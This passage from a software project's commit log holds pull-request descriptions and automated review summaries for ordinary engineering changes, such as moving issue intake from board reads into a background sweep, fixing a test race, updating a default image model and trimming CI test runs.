**Intake sweep (`issue-reconciler.ts`)**
- `attachIncidentioIssueReconciler` now requires an
`isFollowUpSource(sourceId)` function.
- It wraps the existing reconciler with intake discovery.
- For each project, discovery:
  - Scopes the selected source IDs to that project.
  - Keeps only follow-up sources.
  - Creates a page-listing function for each remaining source.
  - Converts each page with `followUpIssues`.
- Discovered issues go through `rules.ingest`.

**Pagination guard (`intake-discovery.ts`)**
- `withIntakeDiscovery` tracks cursors separately for each source pager.
- If a page returns a nonempty next cursor that the pager already saw,
the sweep fails that source with an error that names the integration.
- The existing per-source error handling records the failure. Other
sources in the project continue.

**Routes (`routes.ts`)**
- Adds the exported helper `followUpIssues(items: IntakeItem[])`.
- The helper keeps only items whose external IDs start with
`incidentio:follow-up:`. It maps their fields into the issue payload.
- The issues route returns that mapping with the existing pagination
cursor.
- `buildIncidentioRoutes` no longer accepts `ingestFactoryIssues` and no
longer calls it.

**Rules (`rules.ts`)**
- Removes `attachIncidentioRules`. The rest of the rules module is
unchanged.

**Configuration**
- `incidentio/reconciliation-config.ts`: removes
`incidentioReconciliationEnabled()`. The reconciliation label and
interval function remain.
- `integrations/reconciliation-config.ts`: removes the `optionalBoolean`
helper.
- Deletes the `optionalBoolean` test file.

**Integrations**
- Direct incident.io (`incidentio/integration.ts`): imports the
follow-up source ID, adds `isFollowUpSource(sourceId)`, and removes the
`attachIncidentioRules` route wiring. The worker no longer checks the
enabled setting before it attaches the reconciler.
- Platform incident.io (`platform/incidentio/integration.ts`): removes
the `attachIncidentioRules` import and the `ingestFactoryIssues` route
handler. Adds `isFollowUpSource(sourceId)`. This method unwraps scoped
source IDs. It compares the result, or a legacy unscoped ID, with
`INCIDENTIO_FOLLOW_UPS_SOURCE_ID`.

**Documentation**
- `.changeset/calm-followups-file.md` adds a patch note for
`@mastra/factory`. It states that opening a board no longer creates
cards. It states that the sweep runs every five minutes by default. It
states that `MASTRACODE_INCIDENT_IO_RECONCILE_ENABLED` is removed. It
states that incident.io can be turned off for an organization in
Settings › Work Intake.
- `mastracode/factory/README.md` updates the incident.io intake
description. It states that a board read does not file cards. It states
that the sweep reads every page, because follow-ups are listed oldest
first with no status filter. It removes the option to disable
reconciliation with `MASTRACODE_INCIDENT_IO_RECONCILE_ENABLED=false`.

## Tests

- `issue-reconciler.test.ts` adds first-sight intake tests. The tests
check that:
  - Follow-ups are filed only during a sweep.
- Only projects with the follow-up source selected and bound are
processed.
  - Board reads do not file items.
  - Repeated sweeps file each item once.
  - Pagination follows all available pages.
- A listing failure in one project is recorded and does not stop other
projects from filing.
- `intake-discovery.test.ts` adds a test. With an unlimited page
setting, a source that repeats a cursor fails with `tracker repeated a
page cursor` after three listings. The next healthy source is still
filed.
- `platform/incidentio/integration.test.ts` adds a test. The test seeds
storage with incident and follow-up bindings for one connection. It runs
the reconciler against a router that answers only connection discovery
and follow-up listing. It checks that the sweep observes one item with
no failures and stores a deferred decision keyed to the follow-up.
- `incidentio/integration.test.ts` checks that the reconciliation worker
stays registered when `MASTRACODE_INCIDENT_IO_RECONCILE_ENABLED` is
`'false'`.
- `routes.test.ts` removes the `ingestFactoryIssues` tests. The
remaining tests cover listing, pagination, and issue-detail routes.

## Removed or changed public surface

- Removed: `attachIncidentioRules` from `rules.ts`.
- Removed: `ingestFactoryIssues` from `MountIncidentioRoutesOptions`.
- Removed: `incidentioReconciliationEnabled()` from
`incidentio/reconciliation-config.ts`.
- Removed: `optionalBoolean` from
`integrations/reconciliation-config.ts`.
- Changed: `attachIncidentioIssueReconciler` now requires
`isFollowUpSource`.
- Added: `followUpIssues` in `routes.ts`.
- Added: `isFollowUpSource(sourceId: string): boolean` on both the
direct and Platform incident.io integration classes.

## Verification status

- Changed files: 16. Lines added: 299. Lines removed: 168.
- CI and test results for the current head: not available.
- The author reports that the tests use an HTTP-edge incident.io
substitute. The change was not tested against a real incident.io account
or the real Platform API.
- Sweep duration for accounts with many follow-ups is not measured.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Damien Schneider <damienschneider@damiens-MacBook-Pro.local>
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
2026-11-13 17:01:22 -08:00
Damien Schneider
53b18f49eb
fix(factory): make the Jira issue list a pure read (#30270)
**─────── TLDR ───────**
> Opening a Factory board no longer creates Jira cards while the page
loads. The server sweep files new Jira issues instead, every 5 minutes,
with or without a board open.

Stacked on #30265. Second of four: GitLab, Jira, incident.io, then the
browser stops polling.

The Jira list route did two jobs. It answered the board, and for every
issue it listed it ran the rules and wrote to the database, on every 30
s poll of every open tab. It was also the only way a new Jira issue got
a card, so with no board open nothing arrived. No table, column or index
changes.

### Behavior changed

a board asks for the Jira issue list (direct and Platform)
&nbsp;&nbsp;├─ **was** — read the list, then ran the rules and a write
for each listed issue
&nbsp;&nbsp;└─ **now** — reads the list

a new issue in a routed Jira project
&nbsp;&nbsp;├─ **was** — got its card when a browser next listed it,
never with no board open
&nbsp;&nbsp;└─ **now** — gets its card from the sweep within its
interval, 5 minutes by default

`MASTRACODE_JIRA_RECONCILE_ENABLED`,
`MASTRACODE_LINEAR_ISSUE_RECONCILE_ENABLED`,
`MASTRACODE_LINEAR_RECONCILE_ENABLED` set to `false`
&nbsp;&nbsp;├─ **was** — stopped the refresh of imported cards (and,
since #29998, new Linear cards)
&nbsp;&nbsp;└─ **now** — removed; the Jira and Linear sweeps always run.
Settings › Work Intake still turns a provider off per org, and the
sweeps honour it

label routing, one Jira project feeding several Factory projects
&nbsp;&nbsp;└─ **unchanged** — the sweep sends the same JQL per project
the board sends, so each issue is filed in one Factory

### Decisions

- **the existing sweep, no new timer** — it already reread imported
cards every 5 minutes; it now also lists
- **five pages per bound Jira project per sweep** — the list is ordered
by last update, so anything new or touched is on the first page; an open
issue past that is filed the next time it changes. Each bound project
gets its own five, so a busy one (or a busy Platform connection) cannot
starve the next
- **a card filed by hand is found by its browse URL** — Settings ›
Intake files a card under the issue key, rules name the issue by its id;
the list route on `main` already missed such a card and filed a second
one, the sweep would do it unattended. The URL names site and key, so
two sites sharing a key stay apart
- **the sweep files what the org's connection can see** — it lists with
the deployment's or the org's stored connection, not the viewer's, and
files every routed issue it reaches; before, only issues someone's open
board listed got a card
- **a shared helper for the listing and filing loop** —
`intake-discovery.ts` takes how a provider lists and how it files;
incident.io uses it next. Linear (#29998) and GitLab (#30265) keep their
own loops, their scoping differs
- **no env switch to turn the sweep off** — the sweep is now how new
Jira and Linear issues get a card, so a switch would drop them silently;
Linear's goes here because #29998 already merged
- **a failing source is recorded and the sweep moves on** — the
project's other sources and every other project still file

### Watch

- a deployment that set one of the removed switches now gets the Jira
and Linear sweeps
- a new issue now takes up to 5 minutes to show, where an open board
showed it within 30 s
- the sweep attributes filing to `factory-rule-dispatcher`, which Jira
rules still label a human actor, as the list route and Linear's sweep on
`main` do. Separate PR

### Not verified

- [ ] a real Jira site or the real Platform API — the tests answer Jira
at the HTTP edge
- [ ] how long a sweep takes on a project with many routed Jira projects

---

> ██████████████████ **tests** `+332 −142`
> ████████ **source** `+142 −55`
> █ **changeset and README** `+6 −1`



<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Jira issues used to become cards only because someone opened a
Jira board. Now a background check runs every five minutes and creates
cards for new issues. Opening a board only reads the list and changes
nothing.

## Summary

This change moves Jira issue discovery out of board-list requests.
Discovery now runs in the existing reconciliation sweep.

### Behavior changes

- Jira board list requests only read issues. They no longer file cards.
- The reconciliation sweep runs every five minutes by default. It files
new issues for each routed Jira project, even when no board is open.
- Each sweep lists up to five pages per bound Jira project per source.
The cap applies per source, so one busy source does not block other
sources.
- Hand-filed cards match incoming issues by browse URL as well as issue
ID. This keeps Jira sites that share an issue key separate.
- A failure in one source is recorded in the sweep summary. The sweep
then continues with the project's next source.
- A provider can be turned off for one organization in Work Intake
settings. The sweep skips a project when its intake config is missing or
disabled.

### Removed settings

- `MASTRACODE_JIRA_RECONCILE_ENABLED` and its helper
`jiraReconciliationEnabled()` are removed. The Jira reconciliation
worker always registers.
- `linearIssueReconciliationEnabled()` is removed. The Linear issue
reconciler attaches unconditionally. The Linear changeset no longer
mentions `MASTRACODE_LINEAR_ISSUE_RECONCILE_ENABLED`.
- The Platform Jira and Platform Linear integrations no longer check
these switches before attaching reconcilers.

### Code changes

- `intake-discovery.ts` (new): adds `withIntakeDiscovery`. It wraps an
existing reconcile function and runs per-project, per-source paged
listing and ingestion. It adds an `observed` count to the summary. It
also adds `INTAKE_DISCOVERY_MAX_PAGES` (default 5).
- `jira/issue-reconciler.ts`: `attachJiraIssueReconciler` now requires a
`listActiveIssues` callback. It returns `withIntakeDiscovery(...)`
around the existing reconciler.
- `jira/rules.ts`: removes `attachJiraRules`. `JiraRules.ingest` also
matches cards by URL when no ID match exists.
- `jira/routes.ts` and `platform/jira/routes.ts`: remove the
`ingestFactoryIssues` option. Listing routes return only the issue
payload and cursor.
- `jira/integration.ts`, `platform/jira/integration.ts`,
`linear/integration.ts`, `platform/linear/integration.ts`: remove the
flag checks and the callback wiring.
- `linear/reconciliation-config.ts` and `jira/reconciliation-config.ts`:
remove the enable-flag helpers. The Linear interval setting remains.

### Documentation

- `mastracode/factory/README.md` states that browser refreshes do not
file issues. It describes the sweep's actions: filing new issues,
refreshing imported-card status and metadata, and moving linked cards
for closed issues to Done or Canceled. The
`MASTRACODE_JIRA_RECONCILE_ENABLED=false` note is removed.
- Adds a patch changeset for `@mastra/factory`.

### Tests

- Adds `intake-discovery.test.ts`. It covers per-source paging, the
default five-page cap, unlimited paging with `maxPages:
Number.POSITIVE_INFINITY`, failure isolation within a project, and no
listing or filing when config is disabled, unset, or `sourceIds` is
empty.
- Adds two `rules.test.ts` cases. One covers key-based matching after an
ID change. The other covers URL-based separation of same-key issues.
- Adds two `platform/jira/integration.test.ts` cases for
multi-connection reconciliation. One covers a first connection that
returns six pages. The other covers a first connection that returns HTTP
500.
- Rewrites `label-routing.test.ts` to use real routes and a reconcile
sweep. Removes the route tests for `ingestFactoryIssues`.
- Updates worker tests to expect the reconciler to stay registered when
the former switches are `false`.

### Known limitations (from review, non-blocking)

- A reopened issue can be filed again when its finished hand-filed card
exists only in the legacy table. The legacy lookup uses the numeric ID,
but the card stores the issue key.
- Listing stops after five pages. The sweep summary does not record that
the cap was reached. Issues beyond the cap get no card until they are
updated. The author states the five-page limit is intentional.
- The author did not verify behavior against real Jira sites or the real
Platform API. The author also did not verify sweep duration for projects
with many routed Jira projects.
- A new issue can take up to five minutes to appear.

### Author-reported test results

These results come from the PR description. They were not re-run for
this summary.

- `tsc --noEmit` passed for `@mastra/factory`.
- The Jira, Platform Jira, intake-discovery, and issue-reconciler suites
passed 248 tests in 14 files.
- The full suite passed 6,291 tests. 24 files timed out under full
parallel load and passed on a rerun with fewer workers (1,157 tests).
- Removing the URL fallback in `JiraRules.ingest` makes the
hand-filed-card test fail.
- Commit `bf0cfefc42` gives each source's list-and-ingest loop its own
error handling. The reported regression tests are "records a failing
source and still files the next source of the same project"
(`intake-discovery.test.ts`) and "files a new issue on a second
connection when the first fails" (`platform/jira/integration.test.ts`).
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Damien Schneider <damienschneider@damiens-MacBook-Pro.local>
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
2026-11-13 17:01:21 -08:00
Damien Schneider
eb1a394821
fix(factory): make the GitLab list routes pure reads (#30265)
**─────── TLDR ───────**
> Opening a GitLab board no longer files cards; the background GitLab
sweep finds merge requests and issues that arrived without a webhook,
board open or not.

First of four: GitLab, Jira (#30270), incident.io (#30271), then the
board stops asking providers (#30266).

Both GitLab list routes ran rule ingestion for every listed item before
answering, and the browser asks for those lists every 30 s per open
board tab. That was also the only way a merge request with no webhook
got its Review card, so it only happened while someone was looking.
Discovery now lives in the leased reconcile sweep and the list routes
only read.

### Behavior changed

a merge request or issue GitLab sent no webhook for
&nbsp;&nbsp;├─ **was** — card within 30 s, only while a board tab was
open
&nbsp;&nbsp;└─ **now** — card on the next sweep, 5 min by default, no
tab needed

a new push to a Review merge request, no webhook
&nbsp;&nbsp;├─ **was** — head recorded when the merge-request list was
requested
&nbsp;&nbsp;└─ **now** — head recorded on the next sweep

a board tab open on a GitLab Factory
&nbsp;&nbsp;├─ **was** — each list request ingested every listed item
&nbsp;&nbsp;└─ **now** — the list only reads; #30266 stops the browser
asking

`MASTRACODE_GITLAB_RECONCILE_ENABLED=false` (or the older
`MASTRACODE_GITLAB_ISSUE_RECONCILE_ENABLED`)
&nbsp;&nbsp;├─ **was** — no sweep, no refresh of imported cards
&nbsp;&nbsp;└─ **now** — removed; the sweep always runs. Settings › Work
Intake still turns GitLab off per org, and the sweep honours it

webhook deliveries, Platform events, the import on linking a repository
&nbsp;&nbsp;└─ **unchanged**

The sweep interval is `DEFAULT_ISSUE_RECONCILE_INTERVAL_MS`, five
minutes, overridden by `MASTRACODE_GITLAB_RECONCILE_INTERVAL_MS`. No
timer is added: discovery is a third step of the existing
`IssueReconcileWorker` run, after the issue and merge-request
reconcilers settle. Platform GitLab gets it too, since it calls
`super.workers(ctx)`.

The sweep needs no signed-in person. Merge requests list through
`versionControl.getRepositoryTarget({ orgId, repositoryId })`, which
reads the stored installation. Issue listing resolves its credential
from the source id and ignores the connection argument, which is why the
route could already pass a placeholder token.

### Shape changed

| | | |
|---|---|---|
| **+** | `attachGitLabDiscovery` | new `gitlab/discovery.ts`, the sweep
step |
| **+** | `routedGitLabSourceIds` | extracted from the issues route;
route and sweep share it |
| **~** | `ingestListedEvents` | returns the rejected reasons, so the
sweep counts them as failed |

### Decisions

- **discovery imports the listed-event helpers from `routes.ts`** — same
events and delivery ids as before, and moving them would double the
diff; one file move away if you prefer.
- **no helper shared with Linear or Jira** — Linear's sweep (#29998,
merged) groups by org and Jira's helper (#30270) lists per source;
GitLab also lists linked repositories' merge requests, so it keeps its
own loop for now.
- **no env switch to turn the sweep off** — it is now how GitLab items
without a webhook get a card, so turning it off would drop them
silently; the per-org toggle in Settings › Work Intake stays
- **five pages per repository and per source, each sweep** — the cap the
link-time import already uses; the route only ever ingested the page the
browser asked for.

### Tradeoff

Rule ingestion leaves the request path: it ran once per listed item, per
tab, every 30 s, and now runs once per item every 5 min. In exchange the
sweep calls GitLab with nobody watching: 1 to 5 list requests of 30
items per linked repository and per routed source, every sweep. When
nothing changed since the last sweep, that listing is all it costs:
deliveries the rules already settled are remembered per project, in
memory, and skipped, so no member lookup or rule run repeats. A restart
forgets them and pays one full pass.

- **the sweep files what the org's connection can see** — it lists with
the deployment's or the org's stored connection, not the viewer's, and
files every routed item it reaches; before, only items someone's open
board listed got a card

### Watch

- a deployment that set `MASTRACODE_GITLAB_RECONCILE_ENABLED=false` now
gets the sweep: no switch could stop intake without anyone seeing it

### Not verified

- [ ] the sweep against real GitLab — every test stubs provider HTTP,
nothing ran against the provider
- [ ] paging past the first page — every stubbed list fits in one page

---

> ██████████████████ **tests** `+313 −76` — 60% of the additions
> ████████████ **source** `+211 −48`
> █ **changeset and README** `+6 −1`


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: The app checks GitLab on a timer for new merge requests and
issues. Before, the GitLab list pages created cards as a side effect of
loading. Now the list pages only read, and the background check finds
new items.

## Summary

This PR moves GitLab merge-request and issue discovery out of list
requests. Discovery now runs in the existing `IssueReconcileWorker`
sweep.

- GitLab list routes are read-only. The issues route and the
pull-request listing route no longer ingest listed items.
- The sweep runs after the issue and merge-request reconcilers finish.
- The default sweep interval is five minutes.
`MASTRACODE_GITLAB_RECONCILE_INTERVAL_MS` overrides the interval.
- Discovery runs without a webhook and without an open board.
- The sweep supports direct-token and stored Platform-connection modes.
- Each sweep lists up to `LINKED_BACKLOG_MAX_PAGES` (five) pages per
linked repository and routed source.
- The sweep skips delivery IDs that settled in the previous sweep. The
skip set is replaced after each sweep, so it is rebuilt from each
listing.

### Key changes

- `discovery.ts`: adds `attachGitLabDiscovery`. It returns `undefined`
when attachment fails. Otherwise it returns a reconciliation callback.
The callback records per-project listing, discovery, and ingestion
failures and continues with other entries.
- `reconciler.ts`: `attachGitLabReconciler` attaches discovery. It
returns `undefined` only when the issue, merge-request, and discovery
reconcilers are all absent. When invoked, it awaits issue and
merge-request reconciliation, then runs discovery.
- `routes.ts`: adds `routedGitLabSourceIds`, which returns `null` when
GitLab intake is disabled. It exports `positiveId`,
`LINKED_BACKLOG_MAX_PAGES`, `listedMergeRequestEvents`, and
`listedIssueEvent`. `ingestListedEvents` now returns all rejection
reasons.
- `rules.ts`: adds `GitLabIngressResult` with an optional `settled`
flag. Without an explicit value, only `committed` and `replayed` count
as settled. A nonempty combined result is settled only when every result
is settled.
- `merge-request-reconciler.ts`: card-loading and board-loading errors
are caught per project. The reconciler increments `failed`, records the
project ID and error message, and continues.
- `integration.ts`: `workers` no longer checks
`gitlabReconciliationEnabled()`.
- `reconciliation-config.ts`: removes `gitlabReconciliationEnabled`. The
interval setting remains.
- `README.md` and `.changeset/long-doors-obey.md`: document the new
behavior. The changeset is a patch release for `@mastra/factory`. It
states that `MASTRACODE_GITLAB_RECONCILE_ENABLED` and
`MASTRACODE_GITLAB_ISSUE_RECONCILE_ENABLED` are removed and that the
check always runs.

### Behavior changes

- Setting `MASTRACODE_GITLAB_RECONCILE_ENABLED=false` no longer disables
the check. The sweep worker stays registered and always runs.
- Org-level GitLab intake can still be disabled in Settings > Work
Intake. The sweep honors that setting.
- Webhook deliveries, Platform events, and repository-link imports are
not changed.

### Tests

- `discovery.test.ts` (new, +287 lines): covers direct-token and
Platform modes. It checks that an unchanged second sweep performs no
member lookups and no commits. It checks that new heads and merge
requests are filed without webhooks. It checks per-project failure
reporting.
- `list-ingestion.test.ts`: exercises listing through
`attachGitLabDiscovery`. It covers duplicate-head suppression and the
transient commit-failure retry.
- `rules.test.ts`: changes several assertions to partial matching. Adds
a test for a listed head that a webhook already recorded as settled.
- `routes.test.ts`: asserts that list requests do not invoke the ingest
callback.
- `backlog.test.ts`: expects merge-request events to include the author
username. Expects listed issue events to omit `assignees` and `author`.
- `reconciliation-config.test.ts`: removes the tests for the removed
enable switches.

The author reports GitLab suites at 298/298 on LibSQL and 318/318 on
Postgres. These results are the author's. This summary did not run the
tests.

### Limitations

- Tests stub provider HTTP. The stubs fit on one page. Behavior against
real GitLab and paging beyond the first page are not verified.

### API changes

- Added (public): `attachGitLabDiscovery`, `routedGitLabSourceIds`,
`GitLabIngressResult`, `positiveId`, `LINKED_BACKLOG_MAX_PAGES`,
`listedMergeRequestEvents`, `listedIssueEvent`.
- Changed: `GitLabRules.ingest` and `#ingestProject` return
`GitLabIngressResult`. `attachGitLabRules` returns `(event) =>
Promise<GitLabIngressResult>`. `ingestListedEvents` takes a nullable
event array and returns `Promise<unknown[]>`.
- Removed: `gitlabReconciliationEnabled`.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Damien Schneider <damienschneider@damiens-MacBook-Pro.local>
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
2026-11-13 17:01:21 -08:00
Tyler Barnes
b33d5b13f9
test(pg): let approval runs finish before the stores close (#30372)
## Summary

The Postgres store job fails now and then with `Cannot use a pool after
calling end on the pool`, coming from
`WorkflowsPG.persistWorkflowSnapshot` and attributed to
`stores/pg/src/storage/approval-policy-change.test.ts`. Every test
passes, but the unhandled error fails the job.

Two tests in that file returned as soon as the approved tool ran. The
run then goes on to a second model turn and saves its workflow snapshot.
On a slow runner, that save lands after `afterAll` has closed the pool.
Both tests now also wait for their run to stop before they end. The
first session in the last test stays parked on purpose and never writes,
so it is left alone.

## Test plan

- To show the failure first, the second model turn was delayed by 500 ms
to mimic a slow runner. Without the fix, 5 of 8 runs failed with the CI
error; with the fix, 0 of 8.
- The real file passed 10 of 10 times with the fix.
- The full `@mastra/pg` suite passed 4,251 tests. One unrelated
`afterAll` timeout came from `schema-setup-per-database.test.ts`.
- Type check, oxlint and oxfmt are clean.

Test-only change, no changeset.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** The tests closed the database too early. A test could still be
saving data when the database closed, which made it fail. Now each test
waits until its run stops before it ends.

## Summary

This change updates two tests in
`stores/pg/src/storage/approval-policy-change.test.ts`. It is test-only.
It does not change production code.

- **First test (policy changed on a parked session):** After the tool is
allowed and executes, the test waits until `session.run.isRunning()`
returns false. A comment states that the run continues to a second model
turn and saves its snapshot before the stores close. The test timeout
increases to 60,000 ms.
- **Second test (session reopened with the tool allowed):** After the
tool executes, the test waits until `reopened.run.isRunning()` returns
false. The test timeout increases to 60,000 ms.

The diff shows +5/-2 across 1 file. The additions are two wait
assertions, a comment, and two timeout arguments. The two removed lines
are the closing `});` of each test, which now end with `}, 60_000);`.
The first session in the last test is not changed.

The commit message says each test now has up to three sequential waits
of up to 10 seconds each. The longer timeout keeps Vitest's default
5-second limit from cancelling the final completion wait.

## Reported results

The PR author reports these results. I did not run them.

- A 500 ms delay before the second model turn reproduced the failure in
5 of 8 runs before the fix, and in 0 of 8 runs with the fix.
- The affected test file passed 10 of 10 runs with the fix.
- The full `@mastra/pg` suite passed 4,251 tests. One unrelated
`afterAll` timeout occurred in `schema-setup-per-database.test.ts`.
- Type check, oxlint, and oxfmt are reported clean.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-13 16:50:37 -08:00
mastra-platform[bot]
eb57671973
fix(connect): default OpenAI create-image tool to gpt-image-2.5-sunburst (#30364)
> Opened by @arthurfiorette

The OpenAI create-image tool in `@mastra/connect` defaulted to
`gpt-image-1`, which OpenAI retired on October 23, 2026. Calls that
omitted `model` failed. This changes the default (and the schema
description) to `gpt-image-2.5-sunburst`, OpenAI's recommended
replacement, so those calls work again. A changeset is included.

Test plan: not run locally. The change replaces one string default and
the matching description text.

Fixes #30329

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** The tool that makes images used an old AI model when the
caller did not name one. OpenAI turned that model off, so those calls
failed. This change makes the tool use a newer model by default, and it
keeps that default when the provider code is regenerated.

## Overview

This change updates the default model of the OpenAI create-image tool in
`@mastra/connect`. The default changes from `gpt-image-1` to
`gpt-image-2.5-sunburst`. OpenAI retired `gpt-image-1` on October 23,
2026. Calls that omit `model` failed after that date. This change
addresses those calls.

The generator script also changes. Without this change, regenerating the
OpenAI provider would restore the old default. The generator now applies
the same default. It uses `replaceOnce` and throws if an expected
template pattern does not occur exactly once.

## Changes

- `packages/connect/src/providers/openai/tools/create-image.ts`: Changes
the fallback model used when `input.model` is omitted. Changes the
matching schema description to name the new default. Explicitly passed
models are unchanged.
- `packages/connect/scripts/generate-provider.ts`: Adds an OpenAI
`create-image` override. The override changes the generated
model-default description and the execution fallback to
`gpt-image-2.5-sunburst`. `applyProviderActionOverrides` applies this
override for the OpenAI create-image action.
- `packages/connect/src/__tests__/provider-commands.test.ts`: The OpenAI
image action fixture accepts an optional `model` and sends it with the
prompt. The fixture defaults to `gpt-image-1` when `model` is omitted. A
new test asserts that generated OpenAI tools default to
`gpt-image-2.5-sunburst`, document that default, and do not reference
`gpt-image-1`.
- `packages/connect/src/providers/openai/.manifest.json`: Updates the
SHA-256 value for `tools/create-image.ts`.
- `.changeset/connect-image-default-sunburst.md`: Adds a patch changeset
for `@mastra/connect`. The changeset documents the default model change.

## Scope

- 5 files changed.
- 55 lines added and 5 lines removed.
- No exported or public declarations changed.

## Verification

- The author states that tests were not run locally.
- No completed CI or test results were available for review.

## Linked issue

- Issue `#30329` reports the retired default model. It names
`gpt-image-2.5-sunburst` and `gpt-image-2.5-flare` as replacement
options. This change uses `gpt-image-2.5-sunburst`.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 16:49:44 -08:00
Tyler Barnes
d6cb408779
ci(mcp): keep the version-packages compat check working on branches behind a release (#30280)
## Problem
The **E2E MCP compatibility** job's last step simulates a
version-packages PR. It runs `changeset version` on a scratch changeset
and requires the bumped versions of `@mastra/core`'s workspace
dependencies to be unpublished on npmjs. On a branch that is behind
main's latest alpha release, the bump lands on a version main has
already published. For example, `@mastra/schema-compat` 1.4.0-alpha.1
bumps to alpha.2, which is already on npm. The step then exits before
running the compat consumers:

```
@mastra/schema-compat@1.4.0-alpha.2 is not an unpublished version on npmjs (HTTP 200), so this does not reproduce a version-packages PR
```

After every alpha release this fails the job on unrelated PRs until each
one merges main.

## Change
`packages/mcp/integration-tests/version-packages-regression.mjs` now
runs the same `changeset version` again, with a fresh uniquely named
changeset, while any bumped dependency is still on npmjs. It stops after
10 rounds. The step always reaches the unpublished state it is meant to
reproduce. Unexpected npmjs responses now fail with their own message
instead of being treated as "published".

## Testing
Run in a disposable checkout of a branch that is behind the
1.4.0-alpha.2 release (schema-compat 1.4.0-alpha.1, pre mode):
- Old script: fails with the error above.
- New script: `1.4.0-alpha.2 is already on npmjs; versioning again`,
then `1.4.0-alpha.1 -> 1.4.0-alpha.3 (not on npmjs)`.
- `compat.sh` in that bumped state, against the CI E2E registry
snapshot: `MCP COMPAT PASS`.
- Covered by unit-level probes: bound exhaustion, HTTP 403/429/500 and
network errors failing closed, and a no-progress bump being rejected.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: The test script that checks MCP compatibility used to stop when a
new package version was already public. Now it keeps creating new
version bumps until each bumped package version is not yet public, so
the test can run.

Summary:

Scope: One file changed,
`packages/mcp/integration-tests/version-packages-regression.mjs`
(+40/-15).

Behavior change:
- The script no longer requires every bumped workspace dependency to be
unpublished after one `changeset version` run.
- It runs `changeset version` in rounds. Each round writes a new patch
changeset for the dependencies that are still published.
- For each dependency, it checks
`https://registry.npmjs.org/<name>/<version>`:
- HTTP 404: the version is unpublished. The dependency leaves the list.
- Other successful (2xx) response: the version is published. The
dependency stays in the list for another round.
- Any other status, or a network error: the script throws an error that
names the package, version and HTTP status.
- If a dependency's version does not change after a round, the script
throws an error.
- The limit is 10 rounds (`MAX_ROUNDS`). If dependencies are still
published after 10 rounds, the script throws an error that lists them.
- Changeset file names include a round number, so each round creates a
unique file name.
- The header comment now describes rerunning versioning when a bumped
version is already published. It no longer says the script checks that
versions are absent before versioning.

Reason: A branch behind the latest release can bump a workspace
dependency to a version already published on npmjs. The old script
failed in that case before it ran the compatibility checks.

Verification: The PR author reports a manual run on a checkout behind
the 1.4.0-alpha.2 release. The old script failed. The new script
advanced `@mastra/schema-compat` from 1.4.0-alpha.1 to alpha.3. The
author also reports `compat.sh` passed (`MCP COMPAT PASS`) against the
CI E2E registry snapshot. The author reports unit-level probes for
round-limit exhaustion, HTTP 403/429/500 responses and network errors,
and rejection of a bump that makes no progress. CI results for this head
are not available from the supplied evidence.

Public API: No declarations of exported or public entities changed.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-13 16:44:12 -08:00
mastra-platform[bot]
8936292f8a
chore(couchbase): fix "similiarity" typo in vector integration test comments (#30346)
> Opened by @DSchau

## Summary
Fixes a misspelling ("similiarity" → "similarity") in two comments in
`stores/couchbase/src/vector/index.integration.test.ts`.

This changes comments only, so behavior stays the same and no changeset
is needed.

## Test plan
- [x] Comment-only change; lint-staged passed on commit.

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 16:43:01 -08:00
Tyler Barnes
add6f402d6
ci: skip test files and jobs that have not failed in 30 days (test tiers) (#30374)
## Summary

On pull requests, CI now skips test files and whole CI jobs that haven't
failed in the last 30 days. Main still runs everything, so a quiet test
that breaks is still caught on main.

- `scripts/test-tiers/` builds `tiers.json` from the last 30 days of CI
failures on main and PRs. A file or job goes back "in" as soon as it
fails, and drops "out" after 30 days without a failure. The scheduled
`test-tiers.yml` workflow keeps that file current on the `ci/test-tiers`
branch.
- `select-affected-tests.cjs` removes "out" unit and package E2E files
before the files are split across shards. Prebuild exposes
`tier_skip_jobs` so the store, workspace, E2E and mastracode workflows
can skip "out" jobs.
- Everything runs when: the PR has the `full-tests` label, the PR
changes the tier files or a job's own workflow, or `tiers.json` or the
PR's labels can't be read.

## Measurement

One-line change to `packages/core/src/agent/agent.ts`, with Affected
UNIT run as CI runs it (3 shards, 4 CPUs):

| | Unit files | Slowest shard |
|---|---|---|
| Before | 3,208 | 639 s |
| After | 1,118 | 361 s |

Package E2E files go from 49 to 3, and 9 whole jobs are skipped.

## Test plan

- 110 routing tests, including 7 new tier-routing cases: dropped files
and shard count, job gates, the edited-path override, workspace and
cloud package lists, the `full-tests` label, and no tiers file.
- 38 tier script tests.
- 18 parity scenarios against the previous selection.
- actionlint and oxfmt; the one actionlint finding is pre-existing on
main.
- Timing measured on 4-CPU runners: the numbers above.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

